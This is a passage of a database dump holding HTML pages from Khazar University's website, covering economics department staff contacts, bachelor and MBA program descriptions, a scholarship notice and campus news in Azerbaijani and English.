Management</p><p>E-mail:&nbsp;<a href=\"http://mailto:bbaysal@khazar.org\">bbaysal@khazar.org</a>&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><p style=\"background:undefined \"><strong style=\"font-family:\'times new roman\', times, serif\"><span style=\"font-family:arial, helvetica, sans-serif\"><a href=\"http://www.khazar.org/files/eco_depart/aytan.bakhishova_CV.pdf\"><img src=\"/files/eco_depart/aaaa.jpg\" style=\"border:7px;width:150px;height:214px;margin:7px;float:left\">Aytan Bakhishova</a></span></strong></p><p><strong></strong>Chair assistant&nbsp;</p><p>E-mail:&nbsp;<a href=\"mailto:arahimova[at]khazar.org\">arahimova[at]khazar.org</a></p>  <p><br></p>\r\n<p><br></p><p><br></p>\r\n<p><br></p><p><br></p><p style=\"margin:0in 0in 7.5pt;text-align:justify;font-family:\'times new roman\', times, serif;background:#fffffff\"><span style=\"color:#3a3b3b\"><strong><em>41 Mehseti Str.</em></strong></span></p><p style=\"font-family:\'times new roman\', times, serif\"><strong><em>AZ1096&nbsp;</em></strong><strong><em>Baku, Azerbaijan</em></strong></p>\r\n<p style=\"font-family:\'times new roman\', times, serif\"><strong><em>Phone: (+&nbsp;994 12) 4217916 (256)</em></strong></p>'),(2566,1546,'az','ABŞ-da dərəcəsiz (1 semestr) təqaüd proqrami: Bakalavr Tələbələri üçün Mübadilə Proqramı (UGRAD) 2017-2018','Bakalavr Tələbələri üçün Mübadilə Proqramı 2017-2018-ci tədris ilində azərbaycanlı tələbələrə ABŞ-ın kollec və universitetlərində bir semester təhsil almaq üçün imkan təklif edir...','<p>Bakalavr Tələbələri\r\nüçün Mübadilə Proqramı 2017-2018-ci tədris ilində azərbaycanlı tələbələrə\r\nABŞ-ın kollec və universitetlərində bir semester təhsil almaq üçün imkan təklif\r\nedir. Təqaüdə tibb, hüquq və ABŞ-da ancaq magistr və ya doktorantura pilləsində\r\ntədris olunan ixtisaslardan başqa, digər bütün ixtisaslardan olan tələbələr\r\nmüraciət edə bilər.</p>\r\n<p><strong><em>Son müraciət tarixi: 31 dekabr 2016-cı il.</em></strong></p>\r\n<p>Əlavə məlumatı bu linklər vasitəsilə əldə etmək olar:</p>\r\n<p><a href=\"Bakıdakı%20ABŞ%20səfirliyi\">Bakıdakı ABŞ səfirliyi</a> –<a href=\"https://azerbaijan.usembassy.gov/edu2/ugrad.html\">https://azerbaijan.usembassy.gov/edu2/ugrad.html</a>; </p>\r\n<p><a href=\"http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_application_guide.pdf\">Ərizə forması təlimatları</a> –<a href=\"http://photos.state.gov/libraries/azerbaijan/749085/ugrad/Step-by-Step-Student-UGRAD-Application-Instructions-2016.pdf\">http://photos.state.gov/libraries/azerbaijan/749085/ugrad/Step-by-Step-Student-UGRAD-Application-Instructions-2016.pdf</a>; </p>\r\n<p><a href=\"http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_timeline.pdf\">Proqram mərhələləri</a> –<a href=\"http://photos.state.gov/libraries/azerbaijan/749085/ugrad/UGRAD_ProgramTimeline.pdf\">http://photos.state.gov/libraries/azerbaijan/749085/ugrad/UGRAD_ProgramTimeline.pdf</a>; </p>\r\n<p>Broşur&nbsp;–<a href=\"http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_brochure.pdf\">http://photos.state.gov/libraries/azerbaijan/749085/educ/ugrad_brochure.pdf</a>.</p>'),(367,228,'az','Bizimlə əlaqə','Bizimlə əlaqə','<p><img src=\"/files/economics/14_11_01_Jeyhun-Mammadov.jpg\" style=\"float:left;width:150px;height:163px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/eco_depart/JMammadov_CV.pdf\">Dr. Ceyhun Məmmədov</a></strong></p><p>İqtisadiyyat və Menecment departamentinin müdiri</p><p>E-mail: <a href=\"mailto:Jmammadov[at]khazar.org\">Jmammadov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/eco_depart/photo_Elvin_Mammadov.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><a href=\"http://www.khazar.org/files/eco_depart/CV-Elvin%20Mammadov.pdf\">Dr. Elvin Məmmədov</a></strong></p><p>İqtisadiyyat və Menecment departamentinin koordinatoru</p><p>E-mail: <a href=\"mailto:elmammadov[at]khazar.org\">elmammadov[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><img src=\"http://www.khazar.org/files/eco_depart/1.jpg\" style=\"float:left;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/AhmetBahadirBaysalCV.pdf\">Bahadir Baysal</a></strong></p><p>İqtisadiyyat və Menecment departamentinin koordinatoru</p><p>E-mail: <a href=\"mailto:bbaysal[at]khazar.org\">bbaysal[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><br><img src=\"http://www.khazar.org/files/economics/ayten_baxisova.JPG\" style=\"width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/eco_depart/aytan.bakhishova_CV.pdf\">Aytən&nbsp;Baxışova</a></strong>&nbsp;</p><p>\r\nİqtisadiyyat və Menecment departamentində müdir köməkçisi</p><p>E-mail: <a href=\"mailto:arahimova[at]khazar.org\">arahimova[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><em><strong>41 Mehseti Str.\r\nAZ1096</strong></em></p><p><em><strong>Baku, Azerbaijan</strong></em></p><p><em><strong>Phone: (+ 994 12) 4217916 (256)</strong></em>  </p>'),(368,229,'en','Bachelor  Programs','Bachelor  Programs','<p><br></p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The DEM\r\noffers the Bachelor Degree Programs majoring in Finance, Accounting, Business Administration,\r\nManagement, Marketing, and Economics. The requirements for the Bachelors degree\r\nat the DEM are composed of three main components that total 256 ECTS:</p><ul><li>University Requirements&nbsp;</li><li>General Education Requirements&nbsp;</li><li>Business Foundation and Major Requirements</li></ul><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">The&nbsp;<strong>University\r\nRequirements&nbsp;</strong>include two main components and give the total number of 54\r\ncredits:</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>English Language&nbsp;</strong>includes 30 semester credits of:</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>- &nbsp;English Foundation 1 (8 credits)</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;English Foundation 2 (8&nbsp;credits)  <br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;Academic English (8&nbsp;credits)&nbsp;</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;English for Special Purposes (6 credits)  <br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><br></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>Azerbaijani\r\nStudies&nbsp;</strong>includes\r\n24 semester credits of:</p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;Azerbaijani Language and Composition (6 credits)  <br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;Azerbaijani Literature (6 credits)  <br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>- &nbsp;Azerbaijani Culture (6 credits)  <br></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;History of Azerbaijan (6 credits)  <br></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>The</strong>&nbsp;<strong>General\r\nEducation Requirements&nbsp;</strong>provide students with a minimum of 42 credits.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>The Humanities</strong>&nbsp;courses division of the\r\nprogram includes particular courses in&nbsp;<em>Literature, Language and\r\nLinguistics, Philosophy, History, Culture and Civilization, Fine Arts and Art\r\nHistory.&nbsp;</em>Students must take at least two courses with a minimum of 12\r\ncredits, 6 credits for each course.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>The\r\nSocial Sciences</strong>&nbsp;group\r\nin general contains courses in&nbsp;<em>Geography, Political Science,\r\nInternational Relations, Law and Government, Anthropology, Economics, Sociology\r\nand Psychology.&nbsp;</em>Students must take at least two courses with a minimum\r\nof 12 credits, 6 credits for each course. School recommends as a Social Science\r\ncourse Principles of Macroeconomics.</p>\r\n<p style=\"text-align: justify;\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>The\r\nScience and Technology</strong>&nbsp;component of the General Education Program unites three\r\ndivisions. Students must take at least three courses with a minimum of 18\r\ncredits:</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:1.0in;text-align:justify;text-indent:-.75in;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;Physical\r\nSciences and Mathematics</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:1.0in;text-align:justify;text-indent:-.75in;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp;&nbsp;Life\r\nSciences</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:1.0in;text-align:justify;text-indent:-.75in;background:white\"\"=\"\"><span class=\"Apple-tab-span\" style=\"white-space:pre\">  </span>-&nbsp; Computer\r\nSciences</p>\r\n<p><strong>Major Requirements</strong> for each major are divided into two groups: <strong>Required</strong> and <strong>Elective</strong> courses.</p>\r\n<p><strong><br></strong></p>\r\n<p><strong>Bachelor of Science (BS) in Economics</strong></p><p style=\"text-align:justify\">The program in Economics is primarily designed for the students who want to distinguish themselves in field of applied economics and furnishes students with the professional knowledge necessary to successfully perform the role of business economists in private and public sectors. The program covers activities related to quantitative economic analysis, monetary policy, economic performance and globalization.</p>\r\n<p><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><a href=\"http://www.khazar.org/files/eco_depart/Economics%202014.pdf\">The BS&nbsp;in Economics&nbsp;Curriculum&nbsp;2014-present (PDF)</a><span style=\"font-weight:bold\">&nbsp;</span>  <strong>&nbsp;</strong></p><p><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><a href=\"/files/eco_depart/Bachelor_of_Science_(BS)_in_Economics.pdf\">The BS&nbsp;in Economics&nbsp;Curriculum&nbsp;2009-2013&nbsp;(PDF)</a>&nbsp;</p><p><br></p>\r\n<p><strong>Bachelor of Business Administration (BBA) in Finance </strong> <br></p><p style=\"text-align:justify\">The\r\nprogram in Finance is designed for students who are interested in careers in\r\nthe fields of finance, financial analysis, financial management and banking.\r\nThe program provides a strong awareness of the problems and methods related to\r\nfinancial operations in financial and non-financial institutions.&nbsp;</p>\r\n<p style=\"text-align:justify\"><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><a href=\"http://www.khazar.org/files/eco_depart/Finance%202014.pdf\">The BBA in Finance Curriculum 2014-present (PDF)</a></p>\r\n<p><a href=\"/files/eco_depart/Finance%202014.pdf\"></a><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ <a href=\"/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Finance.pdf\">&nbsp;</a></strong></span><span style=\"color:#3366ff\"><a href=\"/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Finance.pdf\">The BBA in Finance Curriculum\r\n2009-2013&nbsp;(PDF)</a></span></p><p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><br></p>\r\n<p><strong>Bachelor of Business Administration (BBA) in Accounting</strong>  <br></p><p style=\"text-align:justify\">The\r\nAccounting program is designed to provide the basic accounting knowledge and\r\nskills required for the accounting professionals. The prog­ram encompasses such\r\nareas as financial auditing, operational auditing, financial reporting,\r\ncorporate tax planning, cost analysis and control.&nbsp;</p>\r\n<p style=\"text-align:justify\"><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><a href=\"http://www.khazar.org/files/eco_depart/Accounting%202014.pdf\">The BBA in Accounting Curriculum 2014-present&nbsp;(PDF)</a></p>\r\n<p style=\"text-align:justify\"><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ <a href=\"/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Accounting.pdf\">&nbsp;</a></strong></span><span style=\"color:#3366ff\"><a href=\"/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Accounting.pdf\">The BBA in\r\n  Accounting Curriculum 2009-2013&nbsp;(PDF)</a></span></p>  \r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><br></p><p><strong>Bachelor of Business Administration (General)</strong><strong></strong></p><p style=\"text-align:justify\">The program in General Business Administration is designed to develop the basic skills required by generalist managers in business and other organizations. The program develops the ability to analyze and resolve administrative and organizational problems in business and other organizations.&nbsp;</p>\r\n<p style=\"text-align:justify\"><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ <a href=\"http://www.khazar.org/files/eco_depart/Business%202014.pdf\">&nbsp;</a></strong></span><span style=\"color:#cc6600\"><a href=\"http://www.khazar.org/files/eco_depart/Business%202014.pdf\">The BBA (General)&nbsp;Curriculum 2014-present&nbsp;(PDF)</a></span></p>\r\n<p style=\"text-align:justify\"><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><span style=\"color:#3366ff\"><a href=\"/files/eco_depart/Bachelor_of_Business_Administration_(General).pdf\">The BBA (General)&nbsp;Curriculum  2009-2013&nbsp;(PDF)</a></span></p>\r\n<p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><span style=\"color:#3366ff\"><a href=\"http://www.khazar.org/files/economics/Bachelor_of_Business_Administration_(General).pdf\"></a></span><strong>Bachelor of Business Administration (BBA) in Management</strong>&nbsp;</p>\r\n<p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"text-align: justify; background-image: url(\" \");\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">The program in Management is designed to develop the basic skills required by managers in business and other organizations. The program develops the ability to analyze and resolve administrative and organizational problems in production manufacturing and service organizations. </p>\r\n<p><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ <a href=\"http://www.khazar.org/files/eco_depart/Management%202014.pdf\">&nbsp;</a></strong></span><span style=\"color:#990000\"><a href=\"http://www.khazar.org/files/eco_depart/Management%202014.pdf\">The BBA in Management Curriculum 2014-present&nbsp;(PDF)</a><a href=\"http://www.khazar.org/files/eco_depart/Management%202014.pdf\"> </a></span></p>\r\n<p><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><a href=\"/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Management.pdf\">The BBA in Management&nbsp;Curriculum 2009-2013&nbsp;(PDF)</a>\r\n  </p>\r\n<p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong><br></strong></p><p margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"http://www.khazar.org/files/economics/Bachelor_of_Business_Administration_(BBA)_in_Management.pdf\"></a><strong>Bachelor of Business Administration (BBA) in Marketing</strong></p><p style=\"text-align:justify\">The Marketing program is designed to provide the basic knowledge in general marketing, markets and customers relationships, product development, pricing, advertising, promotion and distribution.</p>\r\n<p><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><a href=\"http://www.khazar.org/files/eco_depart/Marketing%202014.pdf\">The BBA in Marketing&nbsp;Curriculum 2014-present&nbsp;(PDF)&nbsp;</a>\r\n</p><p><span style=\"color:#cc6600\"><strong>&nbsp;&nbsp;⇨ &nbsp;</strong></span><a href=\"/files/eco_depart/Bachelor_of_Business_Administration_(BBA)_in_Marketing.pdf\">The BBA in Marketing&nbsp;Curriculum 2009-2013&nbsp;(PDF)</a></p>'),(2043,1242,'az','Gulafat Shafiyeva','Gulafat Shafiyeva',''),(2044,1242,'en','Gulafat Shafiyeva','Gulafat Shafiyeva','<div><br></div><div><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\"><span style=\"box-sizing:border-box;font-weight:bold\">PhD student<img src=\"/files/image/sefiyeva_gulafet.jpg\" style=\"width:150px;height:200px;margin:7px;float:right\"></span></p><p><span style=\"color:#000000\">Email:</span>&nbsp;<a href=\"mailto:gulafat.shafiyeva@khazar.org\">gulafat.shafiyeva@khazar.org</a></p><p style=\"box-sizing:border-box;margin:0px 0px 10px;font-size:18px;color:#252525;font-family:\'Source Sans Pro\', sans-serif;background-color:#ffffff\"><span style=\"box-sizing:border-box;font-weight:bold\"></span></p><p>Tel: +994 12 421 6335 (242)</p><p>She is investigating\r\nthe mood changes</p><p> and biochemical markers among youths</p>  <br></div>'),(2045,1243,'az','Zuleyxa Akbarova','Zuleyxa Akbarova',''),(1851,1138,'en','Microsoft Imagine Cup 2016 Winners Announced','The final round of the Microsoft Imagine Cup 2016, a large-scale international technology competition, took place in Baku. The top three teams in the categories of Social Projects,','<p>The\r\nfinal round of the Microsoft Imagine Cup 2016, a large-scale international\r\ntechnology competition, took place in Baku. The top three teams in the\r\ncategories of Social Projects, Innovation and Games were announced and were\r\nadvanced to the next level of the competition. </p>\r\n<p>We\r\nnote the team which represented Azerbaijan last year in Microsoft Imagine Cup\r\n2015 was successful this year as well. The “NoObs” team, made up of Baku State\r\nUniversity and Khazar University students Nizami Ismayilov, Arif Movsumzadeh,\r\nFidan Rustamova and Ulviyya Rustamova, took second place in the Innovations\r\ncategory. </p>\r\n<p>Additional\r\ninformation is available from the following links: </p>\r\n<p><a href=\"http://azertag.az/xeber/Microsoft_Imagine_Cup_2016_musabiqesinin_milli_finalinin_qalibleri_mueyyenlesib-952155\">http://azertag.az/xeber/Microsoft_Imagine_Cup_2016_musabiqesinin_milli_finalinin_qalibleri_mueyyenlesib-952155</a>;</p>\r\n<p><a href=\"http://ictnews.az/read.php?lang=2&amp;content=41953\">http://ictnews.az/read.php?lang=2&amp;content=41953</a>;\r\n</p>\r\n<p><a href=\"http://ictnews.az/read.php?lang=1&amp;content=41950\">http://ictnews.az/read.php?lang=1&amp;content=41950</a>;\r\n</p>\r\n<p><a href=\"http://technimum.com/blog/microsoft/6054.html\">http://technimum.com/blog/microsoft/6054.html</a>;</p>\r\n<p><a href=\"http://facemark.az/index/news/microsoft-imagine-cup-2016-musabiqesinin-milli-finalinin-qalibleri-mueyyenlesib-6499\">http://facemark.az/index/news/microsoft-imagine-cup-2016-musabiqesinin-milli-finalinin-qalibleri-mueyyenlesib-6499</a>;\r\n</p>\r\n<p><a href=\"http://xeberler.az/new/details/microsoft-imagine-cup-2016-da-milli-finalin-qalibleri-aciqlandi--15584.htm\">http://xeberler.az/new/details/microsoft-imagine-cup-2016-da-milli-finalin-qalibleri-aciqlandi--15584.htm</a>;\r\n</p>\r\n<p><a href=\"http://az.trend.az/business/economy/2534446.html\">http://az.trend.az/business/economy/2534446.html</a>;</p>\r\n<p><a href=\"http://xeberler.az/new/details/microsoft-imagine-cup-da-milli-turun-qalibleri-aciqlanacaq--15563.htm\">http://xeberler.az/new/details/microsoft-imagine-cup-da-milli-turun-qalibleri-aciqlanacaq--15563.htm</a>;\r\n</p>\r\n<p>&nbsp;</p>'),(1852,1141,'az','Təsisçi Türkiyədə','2016-cı il mayın 18-də Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, “Dünya” məktəbinin təsisçisi Nailəxanım İsayeva, ','<p>2016-cı il mayın 18-də Xəzər Universitetinin\r\ntəsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı,\r\n“Dünya” məktəbinin təsisçisi Nailəxanım İsayeva, Azərbaycan Respublikasının\r\nxalq artisti Gülyanaq Məmmədova və əməkdar artist (Opera və Balet Teatrının\r\nsoloisti) Fərid Əliyev Türkiyədə Adana şəhərində olmuşdular. Adana valiliği il\r\nmədəniyyət və turizm müdürlüğünün şöbə müdiri Mehmet Kurtgöz və Kahramanmaraş\r\nSütçü İmam Universitetinin protokol müdiri Ali Samed Ulunun köməyi və müşayiəti\r\nilə Adana şəhərinin muzeyləri və görkəmli yerlərini gəzmiş, mədəni abidələrlə\r\ntanış olmuşlar.&nbsp;</p>'),(1853,1141,'en','Founder in Turkey','On May 18, 2016, Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees; Nailakhanim Isayeva, founder of Dunya School;','<p>On May 18, 2016, Professor Hamlet Isaxanli, the founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees;\r\nNailakhanim Isayeva, founder of Dunya School; Gulyanag Mammadova, People’s\r\nArtist of the Azerbaijan Republic; and Farid Aliyev, Meritorious Artist and\r\nsoloist for the Opera and Ballet Theater, visited the city of Adana, Turkey.\r\nMehmet Kurtgoz, Director of the Division of Culture and Tourism of the Adana\r\nExecutive Body, and Ali Samed Ulu, Protocol Director of Kahramanmaras Sutcu\r\nImam University, gave them a tour of the city’s museums, tourist attractions\r\nand cultural sites.&nbsp;</p>'),(1829,1129,'az','Aydın Universitetinin Direktorlar və Qəyyumlar Şurasının sədri “Xəzər”də oldu','2016-ci il mayın 19-da İstanbul Aydın Universitesinin Direktorlar və Qəyyumlar Şurasının sədri Prof. Dr. Mustafa Aydın Xəzər Universitetində','<p>2016-ci il\r\nmayın 19-da İstanbul Aydın Universitesinin Direktorlar və Qəyyumlar Şurasının sədri\r\nProf. Dr. Mustafa Aydın Xəzər Universitetində universitetin təsisçisi,\r\nDirektorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı ilə görüşdü.\r\nGörüşdə Aydın Universitetinin Beynəlxalq Əlaqələr Şöbəsinin əməkdaşı Səbinə\r\nHüysenova və Tələbə məclisinin prezidenti Fərid Şahbazlı da iştirak edirdilər.\r\nQarşılıqlı maraqlı olan məsələlər müzakirə olundu.</p>'),(1830,1129,'en','Chairman of Aydin University Board of Directors and Trustees at Khazar','On May 19, 2016, Prof. Dr. Mustafa Aydin, Chairman of the Board of Directors and Trustees of Istanbul Aydin University, visited Khazar University ','<p>On May 19, 2016, Prof. Dr. Mustafa Aydin,\r\nChairman of the Board of Directors and Trustees of Istanbul Aydin University,\r\nvisited Khazar University and met with Professor Hamlet Isaxanli, the\r\nfounder of Khazar University and Chairman of its Board of Directors and\r\nTrustees. Sabina Huseynova, employee of Aydin University’s International\r\nRelations Division, and Farid Shahbazli, Aydin University Student Union\r\nPresident, also participated in the meeting, where issues of mutual interest\r\nwere discussed.&nbsp;</p>'),(369,230,'en','Master Programs','Master Programs','<p><br></p>\r\n<p><strong>Master\r\nof Business Administration (MBA) Program</strong></p>\r\n<p style=\"font-size:medium;text-align:justify\">The\r\nMBA program develops general management abilities and provides ad­vanced\r\nknowledge and skills in various areas of business activities depending on\r\nconcentrations and majors. Professionals with MBA degree demonstrate\r\nsignificant competitive advantages in all types of organizations. The\r\nqualifications gained by the program graduates are crucial to become a leader\r\nin the business community.</p>\r\n<p style=\"font-size:medium;text-align:justify\">At\r\nthe highest level of business qualifications, Khazar University MBA prog­ram\r\noffers an intensive management development path. The skills and knowledge\r\ndeveloped in the MBA program are applicable to all forms of organization and\r\nare useful both to professional managers and to those with entrepreneurial\r\nambitions.</p>\r\n<p style=\"font-size:medium;text-align:justify\">The\r\nKhazar University MBA program was developed through close coope­ration with\r\nWestern business schools. To strengthen their instructional skills, almost all\r\nSEM faculty members have had in-service training and faculty development at\r\nleading European and US universities.</p>\r\n<p style=\"font-size:medium;text-align:justify\">The\r\nuniversity’s strong academic and prof</p>\r\n<p style=\"font-size:medium;text-align:justify\">It\r\nis due to this background that the Khazar University MBA program enables the\r\nfaculty and students to explore business problems from a multidisciplinary\r\nperspective that emphasizes interpersonal skills and teamwork, develops\r\nleadership and entrepreneurial talents, increases global awareness and improves\r\ntechnological knowledge.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Program\r\noutline</strong> </p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nfull-time MBA program runs over a two year period, with a variety of teaching\r\nand learning methods being used - a combination of lectures, seminars, case\r\nstudies, discussions, business simulations and group activities. For\r\nassessment, the program considers a combination of formal assignments, group\r\npresentations and written examinations, together with a major project.</p>\r\n<p style=\"text-align:justify;font-size:medium\">Part-time\r\nenrollment is designed for students who cannot enroll on a full-time basis. To\r\nbe eligible for the part-time enrolment students must earn in each semester at\r\nleast six credits. Part-time students can opt to enroll in full-time MBA\r\nclasses when available.</p>\r\n<p style=\"text-align:justify;font-size:medium\">Experienced\r\nMBA students are provided with the opportunity to use their previous employment\r\nexperience and relate this to the program material.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nkey advantage of the program is that the class schedule accommodates students\r\nwith full-time employment.</p>\r\n<p>&nbsp;</p>\r\n<p><strong>Degree\r\nRequirements</strong></p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nKhazar University MBA Program students must follow the general master-level\r\ndegree requirements described at Khazar University Catalog.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nProgram duration is two years.</p>\r\n<p>&nbsp;<strong>Program\r\nCurriculum</strong></p>\r\n<p><strong>&nbsp;A.\r\nBasic Prerequisites</strong></p>\r\n<p><strong>&nbsp;Foundation\r\ncourses</strong></p>\r\n<p>&nbsp;</p>\r\n<p style=\"font-size:medium\">These\r\nare optional make-up courses for students without business or economic\r\nbackground or students who decided to strengthen their background.</p>\r\n<p>&nbsp;<strong>*&nbsp;Statistics</strong></p>\r\n<p><strong>&nbsp;*&nbsp;Economics</strong>\r\n</p>\r\n<p style=\"text-align:justify;font-size:medium\">Students, admitted to the program temporarily,\r\nduring the first semester must complete the foundation courses.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nSchool offers six MBA degree options: the MBA with specialization in Finance,\r\nAccounting, Management, International Business, Energy Management, the general\r\nMBA and dual degree program in Energy Management and Sustainable Development\r\n(since 2009 jointly with IPAG- Institut de Préparation à l’Administration et à\r\nla Gestion).</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nMBA specialization in Finance is designed to provide graduates with advanced\r\nknowledge and skills in fields of corporate and international finance,\r\nfinancial markets, institutions and policy needed to successfully function as\r\nfinancial managers in competitive financial environment.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nMBA specialization in Accounting is designed to furnish graduates with advanced\r\nanalytical and technical skills needed to find professional accounting\r\npositions in business and public organizations and to design, prepare, use, and\r\naudit accounting information.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nMBA specialization in Management is designed to provide graduates with advanced\r\nknowledge and skills needed to perform the role of manager and leader in\r\nvarious functional areas of business.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nMBA specialization in International Business provides graduates with\r\nprofessional and cultural knowledge and functional skills needed to\r\nsuccessfully perform the role of managers in global business environment.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\nMBA specialization in Energy Management is designed to furnish graduates with\r\ncore business intelligence, knowledge in field of energy management, advanced\r\nanalytical and technical skills needed to successfully perform the role of\r\nmanagers in energy and energy-related businesses.</p>\r\n<p style=\"text-align:justify;font-size:medium\">The\r\ngeneral MBA provides students with core business knowledge and at the same time\r\nallows them to design a concentration according to their job expectations and\r\narea of interest.</p>\r\n<p>&nbsp;</p>\r\n<br><br>\r\n<table>\r\n 